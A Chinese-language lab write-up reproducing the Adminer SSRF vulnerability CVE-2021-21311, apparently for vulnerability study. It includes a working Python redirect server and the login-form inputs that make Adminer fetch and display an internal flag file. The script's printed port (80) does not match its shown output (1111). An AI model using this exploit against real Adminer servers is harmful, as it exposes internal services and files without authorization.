Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)复现
·
Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)
Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。
在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。
漏洞复现
靶机启动后,在http://your-ip:80即可查看到Adminer的登录页面。
漏洞利用
在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写example.com,点击登录即可看到example.com返回的400错误页面展示在页面中:

使用python3写一段脚本,使用http服务,监听1111端口,设置重定向到http://192.168.2.47:80/flag.txt,读取flag文件
import http.server
import socketserver
class RedirectHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# 设置重定向到指定URL
self.send_response(301) # 301: 永久重定向
self.send_header('Location', 'http://192.168.2.47:80/flag.txt') # 设置重定向地址
self.end_headers()
def run(server_class=http.server.HTTPServer, handler_class=RedirectHandler):
server_address = ('', 1111) # 监听1111端口
httpd = server_class(server_address, handler_class)
print('Server running on port 80...')
httpd.serve_forever()
if __name__ == '__main__':
run()
运行脚本,监听1111端口
python3 exploit.py
Server running on port 1111...
网页上输入服务器192.168.2.6:1111,用户名root,密码随机,然后点登陆

漏洞利用成功,可以看到页面上就显示了flag.txt文件的内容。
更多推荐
所有评论(0)